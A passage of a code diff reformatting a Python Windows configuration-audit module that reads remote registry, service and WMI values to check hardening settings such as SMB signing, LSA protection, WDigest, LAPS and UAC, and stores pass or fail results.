'HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate',
|
||||
'WUServer', 'https://', startswith
|
||||
),(
|
||||
'HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate',
|
||||
'UseWUServer', 0, operator.eq
|
||||
)]], checker_kwargs=[{},{'options':{'lastWins':True}}]),
|
||||
ConfigCheck('LSA cache', 'Checks how many logons are kept in the LSA cache', checker_args=[[self, (
|
||||
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',
|
||||
'CachedLogonsCount', 2, le
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('AppLocker', 'Checks if there are AppLocker rules defined', checkers=[self.check_applocker]),
|
||||
ConfigCheck('RDP expiration time', 'Checks RDP session timeout', checker_args=[[self, (
|
||||
'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services',
|
||||
'MaxDisconnectionTime', 0, operator.gt
|
||||
),(
|
||||
'HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services',
|
||||
'MaxDisconnectionTime', 0, operator.gt
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('CredentialGuard', 'Checks if CredentialGuard is enabled', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard',
|
||||
'EnableVirtualizationBasedSecurity', 1
|
||||
),(
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa',
|
||||
'LsaCfgFlags', 1
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('PPL', 'Checks if lsass runs as a protected process', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa',
|
||||
'RunAsPPL', 1
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('Powershell v2 availability', 'Checks if powershell v2 is available', checker_args=[[self, (
|
||||
'HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine',
|
||||
'PSCompatibleVersion', '2.0', not_(operator.contains)
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('LmCompatibilityLevel', 'Checks if LmCompatibilityLevel is set to 5', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa',
|
||||
'LmCompatibilityLevel', 5, operator.ge
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('NBTNS', 'Checks if NBTNS is disabled on all interfaces', checkers=[self.check_nbtns]),
|
||||
ConfigCheck('mDNS', 'Checks if mDNS is disabled', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters',
|
||||
'EnableMDNS', 0
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('SMB signing', 'Checks if SMB signing is enabled', checker_args=[[self, (
|
||||
'HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters',
|
||||
'requiresecuritysignature', 1
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('LDAP signing', 'Checks if LDAP signing is enabled', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters',
|
||||
'LDAPServerIntegrity', 2
|
||||
),(
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS',
|
||||
'LdapEnforceChannelBinding', 2
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('SMB encryption', 'Checks if SMB encryption is enabled', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters',
|
||||
'EncryptData', 1
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('RDP authentication', 'Checks RDP authentication configuration (NLA auth and restricted admin mode)', checker_args=[[self, (
|
||||
'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\',
|
||||
'UserAuthentication', 1
|
||||
),(
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA',
|
||||
'RestrictedAdminMode', 1
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('BitLocker configuration', 'Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)', checker_args=[[self, (
|
||||
'HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE',
|
||||
'UseAdvancedStartup', 1
|
||||
),(
|
||||
'HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE',
|
||||
'UseTPMPIN', 1
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('Guest account disabled', 'Checks if the guest account is disabled', checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck('Automatic session lock', 'Checks if the session is automatically locked on after a period of inactivity', checker_args=[[self, (
|
||||
'HKCU\\Control Panel\\Desktop',
|
||||
'ScreenSaverIsSecure', 1
|
||||
),(
|
||||
'HKCU\\Control Panel\\Desktop',
|
||||
'ScreenSaveTimeOut', 300, le
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('Powershell Execution Policy', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, (
|
||||
'HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell',
|
||||
'ExecutionPolicy', 'Restricted\x00'
|
||||
),(
|
||||
'HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell',
|
||||
'ExecutionPolicy', 'Restricted\x00'
|
||||
)
|
||||
]], checker_kwargs=[{'options':{'KOIfMissing':False, 'lastWins':True}}])
|
||||
ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
|
||||
ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
|
||||
ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
|
||||
ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
|
||||
ConfigCheck("Hash storage format", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
|
||||
ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
|
||||
ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
|
||||
ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
|
||||
ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
|
||||
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
|
||||
ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
|
||||
ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
|
||||
ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
|
||||
ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
|
||||
ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
|
||||
ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
|
||||
ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
|
||||
ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
|
||||
ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
|
||||
ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
|
||||
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
|
||||
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
]
|
||||
|
||||
# Add check to conf_checks table if missing
|
||||
db_checks = self.connection.db.get_checks()
|
||||
db_check_names = [ check._asdict()['name'].strip().lower() for check in db_checks ]
|
||||
[check._asdict()["name"].strip().lower() for check in db_checks]
|
||||
added = []
|
||||
for i,check in enumerate(self.checks):
|
||||
for i, check in enumerate(self.checks):
|
||||
check.connection = self.connection
|
||||
missing = True
|
||||
for db_check in db_checks:
|
||||
db_check = db_check._asdict()
|
||||
if check.name.strip().lower() == db_check['name'].strip().lower():
|
||||
if check.name.strip().lower() == db_check["name"].strip().lower():
|
||||
missing = False
|
||||
self.checks[i].check_id = db_check['id']
|
||||
self.checks[i].check_id = db_check["id"]
|
||||
break
|
||||
|
||||
if missing:
|
||||
|
@ -323,12 +217,12 @@ class HostChecker:
|
|||
|
||||
# Update check_id for checks added to the db
|
||||
db_checks = self.connection.db.get_checks()
|
||||
for i,check in enumerate(added):
|
||||
for i, check in enumerate(added):
|
||||
check_id = None
|
||||
for db_check in db_checks:
|
||||
db_check = db_check._asdict()
|
||||
if db_check['name'].strip().lower() == check.name.strip().lower():
|
||||
check_id = db_check['id']
|
||||
if db_check["name"].strip().lower() == check.name.strip().lower():
|
||||
check_id = db_check["id"]
|
||||
break
|
||||
added[i].check_id = check_id
|
||||
|
||||
|
@ -338,8 +232,8 @@ class HostChecker:
|
|||
hosts = self.connection.db.get_hosts(self.connection.host)
|
||||
for host in hosts:
|
||||
host = host._asdict()
|
||||
if host['ip'] == self.connection.host and host['hostname'] == self.connection.hostname and host['domain'] == self.connection.domain:
|
||||
host_id = host['id']
|
||||
if host["ip"] == self.connection.host and host["hostname"] == self.connection.hostname and host["domain"] == self.connection.domain:
|
||||
host_id = host["id"]
|
||||
break
|
||||
|
||||
# Perform all the checks and store the results
|
||||
|
@ -347,23 +241,20 @@ class HostChecker:
|
|||
try:
|
||||
check.run()
|
||||
except Exception as e:
|
||||
self.context.log.error(f'HostChecker.check_config(): Error while performing check {check.name}: {e}')
|
||||
self.context.log.error(f"HostChecker.check_config(): Error while performing check {check.name}: {e}")
|
||||
check.log(self.context)
|
||||
self.module.add_result(self.connection.host, check)
|
||||
if host_id is not None:
|
||||
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ', '.join(check.reasons).replace('\x00',''))
|
||||
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
|
||||
|
||||
def check_registry(self, *specs, options={}):
|
||||
def check_registry(self, *specs, options=None):
|
||||
"""
|
||||
Perform checks that only require to compare values in the registry with expected values, according to the specs
|
||||
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
|
||||
"""
|
||||
default_options = {
|
||||
'lastWins':False,
|
||||
'stopOnOK':False,
|
||||
'stopOnKO':False,
|
||||
'KOIfMissing':True
|
||||
}
|
||||
if options is None:
|
||||
options = {}
|
||||
default_options = {"lastWins": False, "stopOnOK": False, "stopOnKO": False, "KOIfMissing": True}
|
||||
default_options.update(options)
|
||||
options = default_options
|
||||
op = operator.eq
|
||||
|
@ -378,61 +269,61 @@ class HostChecker:
|
|||
(key, value_name, expected_value, op) = spec
|
||||
else:
|
||||
ok = False
|
||||
reasons = ['Check could not be performed (invalid specification provided)']
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.module.log.error(f'Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}')
|
||||
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
if op == operator.eq:
|
||||
opstring = '{left} == {right}'
|
||||
nopstring = '{left} != {right}'
|
||||
opstring = "{left} == {right}"
|
||||
nopstring = "{left} != {right}"
|
||||
elif op == operator.contains:
|
||||
opstring = '{left} in {right}'
|
||||
nopstring = '{left} not in {right}'
|
||||
opstring = "{left} in {right}"
|
||||
nopstring = "{left} not in {right}"
|
||||
elif op == operator.gt:
|
||||
opstring = '{left} > {right}'
|
||||
nopstring = '{left} <= {right}'
|
||||
opstring = "{left} > {right}"
|
||||
nopstring = "{left} <= {right}"
|
||||
elif op == operator.ge:
|
||||
opstring = '{left} >= {right}'
|
||||
nopstring = '{left} < {right}'
|
||||
opstring = "{left} >= {right}"
|
||||
nopstring = "{left} < {right}"
|
||||
elif op == operator.lt:
|
||||
opstring = '{left} < {right}'
|
||||
nopstring = '{left} >= {right}'
|
||||
opstring = "{left} < {right}"
|
||||
nopstring = "{left} >= {right}"
|
||||
elif op == operator.le:
|
||||
opstring = '{left} <= {right}'
|
||||
nopstring = '{left} > {right}'
|
||||
opstring = "{left} <= {right}"
|
||||
nopstring = "{left} > {right}"
|
||||
elif op == operator.ne:
|
||||
opstring = '{left} != {right}'
|
||||
nopstring = '{left} == {right}'
|
||||
opstring = "{left} != {right}"
|
||||
nopstring = "{left} == {right}"
|
||||
else:
|
||||
opstring = f'{op.__name__}({{left}}, {{right}}) == True'
|
||||
nopstring = f'{op.__name__}({{left}}, {{right}}) == True'
|
||||
opstring = f"{op.__name__}({{left}}, {{right}}) == True"
|
||||
nopstring = f"{op.__name__}({{left}}, {{right}}) == True"
|
||||
|
||||
value = self.reg_query_value(self.dce, self.connection, key, value_name)
|
||||
|
||||
if type(value) == DCERPCSessionError:
|
||||
if options['KOIfMissing']:
|
||||
if options["KOIfMissing"]:
|
||||
ok = False
|
||||
if value.error_code in (ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND):
|
||||
reasons.append(f'{key}: Key not found')
|
||||
reasons.append(f"{key}: Key not found")
|
||||
elif value.error_code == ERROR_OBJECT_NOT_FOUND:
|
||||
reasons.append(f'{value_name}: Value not found')
|
||||
reasons.append(f"{value_name}: Value not found")
|
||||
else:
|
||||
ok = False
|
||||
reasons.append(f'Error while retrieving value of {key}\\{value_name}: {value}')
|
||||
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
|
||||
continue
|
||||
|
||||
if op(value, expected_value):
|
||||
if options['lastWins']:
|
||||
if options["lastWins"]:
|
||||
ok = True
|
||||
reasons.append(opstring.format(left=f'{key}\\{value_name} ({value})', right=expected_value))
|
||||
reasons.append(opstring.format(left=f"{key}\\{value_name} ({value})", right=expected_value))
|
||||
else:
|
||||
reasons.append(nopstring.format(left=f'{key}\\{value_name} ({value})', right=expected_value))
|
||||
reasons.append(nopstring.format(left=f"{key}\\{value_name} ({value})", right=expected_value))
|
||||
ok = False
|
||||
if ok and options['stopOnOK']:
|
||||
if ok and options["stopOnOK"]:
|
||||
break
|
||||
if not ok and options['stopOnKO']:
|
||||
if not ok and options["stopOnKO"]:
|
||||
break
|
||||
|
||||
return ok, reasons
|
||||
|
@ -440,16 +331,16 @@ class HostChecker:
|
|||
def check_laps(self):
|
||||
reasons = []
|
||||
success = False
|
||||
lapsv2_ad_key_name = 'Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\LAPS'
|
||||
lapsv2_aad_key_name = 'Software\\Microsoft\\Policies\\LAPS'
|
||||
lapsv2_ad_key_name = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\LAPS"
|
||||
lapsv2_aad_key_name = "Software\\Microsoft\\Policies\\LAPS"
|
||||
|
||||
# Checking LAPSv2
|
||||
ans = self._open_root_key(self.dce, self.connection, 'HKLM')
|
||||
ans = self._open_root_key(self.dce, self.connection, "HKLM")
|
||||
|
||||
if ans is None:
|
||||
return False, ['Could not query remote registry']
|
||||
return False, ["Could not query remote registry"]
|
||||
|
||||
root_key_handle = ans['phKey']
|
||||
root_key_handle = ans["phKey"]
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(self.dce, root_key_handle, lapsv2_ad_key_name)
|
||||
reasons.append(f"HKLM\\{lapsv2_ad_key_name} found, LAPSv2 AD installed")
|
||||
|
@ -469,102 +360,101 @@ class HostChecker:
|
|||
reasons.append(f"HKLM\\{lapsv2_aad_key_name} not found")
|
||||
|
||||
# LAPSv2 does not seems to be installed, checking LAPSv1
|
||||
lapsv1_key_name = 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPextensions'
|
||||
subkeys = self.reg_get_subkeys(self.dce, self.connection, lapsv1_key_name)
|
||||
laps_path = '\\Program Files\\LAPS\\CSE'
|
||||
lapsv1_key_name = "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPextensions"
|
||||
subkeys = self.reg_get_subkeys(self.dce, self.connection, lapsv1_key_name)
|
||||
laps_path = "\\Program Files\\LAPS\\CSE"
|
||||
|
||||
for subkey in subkeys:
|
||||
value = self.reg_query_value(self.dce, self.connection, lapsv1_key_name + '\\' + subkey, 'DllName')
|
||||
if type(value) == str and 'laps\\cse\\admpwd.dll' in value.lower():
|
||||
reasons.append(f'{lapsv1_key_name}\\...\\DllName matches AdmPwd.dll')
|
||||
value = self.reg_query_value(self.dce, self.connection, lapsv1_key_name + "\\" + subkey, "DllName")
|
||||
if isinstance(value, str) and "laps\\cse\\admpwd.dll" in value.lower():
|
||||
reasons.append(f"{lapsv1_key_name}\\...\\DllName matches AdmPwd.dll")
|
||||
success = True
|
||||
laps_path = '\\'.join(value.split('\\')[1:-1])
|
||||
laps_path = "\\".join(value.split("\\")[1:-1])
|
||||
break
|
||||
if not success:
|
||||
reasons.append(f'No match found in {lapsv1_key_name}\\...\\DllName')
|
||||
reasons.append(f"No match found in {lapsv1_key_name}\\...\\DllName")
|
||||
|
||||
l = self.ls(self.connection, laps_path)
|
||||
if l:
|
||||
reasons.append('Found LAPS folder at ' + laps_path)
|
||||
file_listing = self.ls(self.connection, laps_path)
|
||||
if file_listing:
|
||||
reasons.append("Found LAPS folder at " + laps_path)
|
||||
else:
|
||||
success = False
|
||||
reasons.append('LAPS folder does not exist')
|
||||
reasons.append("LAPS folder does not exist")
|
||||
return success, reasons
|
||||
|
||||
|
||||
l = self.ls(self.connection, laps_path + '\\AdmPwd.dll')
|
||||
if l:
|
||||
reasons.append(f'Found {laps_path}\\AdmPwd.dll')
|
||||
file_listing = self.ls(self.connection, laps_path + "\\AdmPwd.dll")
|
||||
if file_listing:
|
||||
reasons.append(f"Found {laps_path}\\AdmPwd.dll")
|
||||
else:
|
||||
success = False
|
||||
reasons.append(f'{laps_path}\\AdmPwd.dll not found')
|
||||
reasons.append(f"{laps_path}\\AdmPwd.dll not found")
|
||||
|
||||
return success, reasons
|
||||
|
||||
def check_last_successful_update(self):
|
||||
records = self.connection.wmi(wmi_query='Select TimeGenerated FROM Win32_ReliabilityRecords Where EventIdentifier=19', namespace='root\\cimv2')
|
||||
records = self.connection.wmi(wmi_query="Select TimeGenerated FROM Win32_ReliabilityRecords Where EventIdentifier=19", namespace="root\\cimv2")
|
||||
if isinstance(records, bool) or len(records) == 0:
|
||||
return False, ['No update found']
|
||||
most_recent_update_date = records[0]['TimeGenerated']['value']
|
||||
most_recent_update_date = most_recent_update_date.split('.')[0]
|
||||
most_recent_update_date = time.strptime(most_recent_update_date, '%Y%m%d%H%M%S')
|
||||
return False, ["No update found"]
|
||||
most_recent_update_date = records[0]["TimeGenerated"]["value"]
|
||||
most_recent_update_date = most_recent_update_date.split(".")[0]
|
||||
most_recent_update_date = time.strptime(most_recent_update_date, "%Y%m%d%H%M%S")
|
||||
most_recent_update_date = time.mktime(most_recent_update_date)
|
||||
now = time.time()
|
||||
days_since_last_update = (now - most_recent_update_date)//86400
|
||||
days_since_last_update = (now - most_recent_update_date) // 86400
|
||||
if days_since_last_update <= OUTDATED_THRESHOLD:
|
||||
return True, [f'Last update was {days_since_last_update} <= {OUTDATED_THRESHOLD} days ago']
|
||||
return True, [f"Last update was {days_since_last_update} <= {OUTDATED_THRESHOLD} days ago"]
|
||||
else:
|
||||
return False, [f'Last update was {days_since_last_update} > {OUTDATED_THRESHOLD} days ago']
|
||||
return False, [f"Last update was {days_since_last_update} > {OUTDATED_THRESHOLD} days ago"]
|
||||
|
||||
def check_administrator_name(self):
|
||||
user_info = self.get_user_info(self.connection, rid=500)
|
||||
name = user_info['UserName']
|
||||
ok = name not in ('Administrator', 'Administrateur')
|
||||
reasons = [f'Administrator name changed to {name}' if ok else 'Administrator name unchanged']
|
||||
name = user_info["UserName"]
|
||||
ok = name not in ("Administrator", "Administrateur")
|
||||
reasons = [f"Administrator name changed to {name}" if ok else "Administrator name unchanged"]
|
||||
return ok, reasons
|
||||
|
||||
def check_guest_account_disabled(self):
|
||||
user_info = self.get_user_info(self.connection, rid=501)
|
||||
uac = user_info['UserAccountControl']
|
||||
uac = user_info["UserAccountControl"]
|
||||
disabled = bool(uac & samr.USER_ACCOUNT_DISABLED)
|
||||
reasons = ['Guest account disabled' if disabled else 'Guest account enabled']
|
||||
reasons = ["Guest account disabled" if disabled else "Guest account enabled"]
|
||||
return disabled, reasons
|
||||
|
||||
def check_spooler_service(self):
|
||||
ok = False
|
||||
service_config, service_status = self.get_service('Spooler', self.connection)
|
||||
if service_config['dwStartType'] == scmr.SERVICE_DISABLED:
|
||||
service_config, service_status = self.get_service("Spooler", self.connection)
|
||||
if service_config["dwStartType"] == scmr.SERVICE_DISABLED:
|
||||
ok = True
|
||||
reasons = ['Spooler service disabled']
|
||||
reasons = ["Spooler service disabled"]
|
||||
else:
|
||||
reasons = ['Spooler service enabled']
|
||||
reasons = ["Spooler service enabled"]
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append('Spooler service running')
|
||||
reasons.append("Spooler service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = True
|
||||
reasons.append('Spooler service not running')
|
||||
reasons.append("Spooler service not running")
|
||||
|
||||
return ok, reasons
|
||||
|
||||
def check_wsus_running(self):
|
||||
ok = True
|
||||
reasons = []
|
||||
service_config, service_status = self.get_service('wuauserv', self.connection)
|
||||
if service_config['dwStartType'] == scmr.SERVICE_DISABLED:
|
||||
reasons = ['WSUS service disabled']
|
||||
service_config, service_status = self.get_service("wuauserv", self.connection)
|
||||
if service_config["dwStartType"] == scmr.SERVICE_DISABLED:
|
||||
reasons = ["WSUS service disabled"]
|
||||
elif service_status != scmr.SERVICE_RUNNING:
|
||||
reasons = ['WSUS service not running']
|
||||
reasons = ["WSUS service not running"]
|
||||
return ok, reasons
|
||||
|
||||
def check_nbtns(self):
|
||||
key_name = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces'
|
||||
key_name = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces"
|
||||
subkeys = self.reg_get_subkeys(self.dce, self.connection, key_name)
|
||||
success = False
|
||||
reasons = []
|
||||
missing = 0
|
||||
nbtns_enabled = 0
|
||||
for subkey in subkeys:
|
||||
value = self.reg_query_value(self.dce, self.connection, key_name + '\\' + subkey, 'NetbiosOptions')
|
||||
value = self.reg_query_value(self.dce, self.connection, key_name + "\\" + subkey, "NetbiosOptions")
|
||||
if type(value) == DCERPCSessionError:
|
||||
if value.error_code == ERROR_OBJECT_NOT_FOUND:
|
||||
missing += 1
|
||||
|
@ -572,24 +462,24 @@ class HostChecker:
|
|||
if value != 2:
|
||||
nbtns_enabled += 1
|
||||
if missing > 0:
|
||||
reasons.append(f'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces\\<interface>\\NetbiosOption: value not found on {missing} interfaces')
|
||||
reasons.append(f"HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces\\<interface>\\NetbiosOption: value not found on {missing} interfaces")
|
||||
if nbtns_enabled > 0:
|
||||
reasons.append(f'NBTNS enabled on {nbtns_enabled} interfaces out of {len(subkeys)}')
|
||||
reasons.append(f"NBTNS enabled on {nbtns_enabled} interfaces out of {len(subkeys)}")
|
||||
if missing == 0 and nbtns_enabled == 0:
|
||||
success = True
|
||||
reasons.append('NBTNS disabled on all interfaces')
|
||||
reasons.append("NBTNS disabled on all interfaces")
|
||||
return success, reasons
|
||||
|
||||
def check_applocker(self):
|
||||
key_name = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2'
|
||||
key_name = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2"
|
||||
subkeys = self.reg_get_subkeys(self.dce, self.connection, key_name)
|
||||
rule_count = 0
|
||||
for collection in subkeys:
|
||||
collection_key_name = key_name + '\\' + collection
|
||||
collection_key_name = key_name + "\\" + collection
|
||||
rules = self.reg_get_subkeys(self.dce, self.connection, collection_key_name)
|
||||
rule_count += len(rules)
|
||||
success = rule_count > 0
|
||||
reasons = [f'Found {rule_count} AppLocker rules defined']
|
||||
reasons = [f"Found {rule_count} AppLocker rules defined"]
|
||||
|
||||
return success, reasons
|
||||
|
||||
|
@ -599,122 +489,109 @@ class HostChecker:
|
|||
def _open_root_key(self, dce, connection, root_key):
|
||||
ans = None
|
||||
retries = 1
|
||||
opener = {
|
||||
'HKLM':rrp.hOpenLocalMachine,
|
||||
'HKCR':rrp.hOpenClassesRoot,
|
||||
'HKU':rrp.hOpenUsers,
|
||||
'HKCU':rrp.hOpenCurrentUser,
|
||||
'HKCC':rrp.hOpenCurrentConfig
|
||||
}
|
||||
opener = {"HKLM": rrp.hOpenLocalMachine, "HKCR": rrp.hOpenClassesRoot, "HKU": rrp.hOpenUsers, "HKCU": rrp.hOpenCurrentUser, "HKCC": rrp.hOpenCurrentConfig}
|
||||
|
||||
while retries > 0:
|
||||
try:
|
||||
ans = opener[root_key.upper()](dce)
|
||||
break
|
||||
except KeyError:
|
||||
self.context.log.error(f'HostChecker._open_root_key():{connection.host}: Invalid root key. Must be one of HKCR, HKCC, HKCU, HKLM or HKU')
|
||||
self.context.log.error(f"HostChecker._open_root_key():{connection.host}: Invalid root key. Must be one of HKCR, HKCC, HKCU, HKLM or HKU")
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.log.error(f'HostChecker._open_root_key():{connection.host}: Error while trying to open {root_key.upper()}: {e}')
|
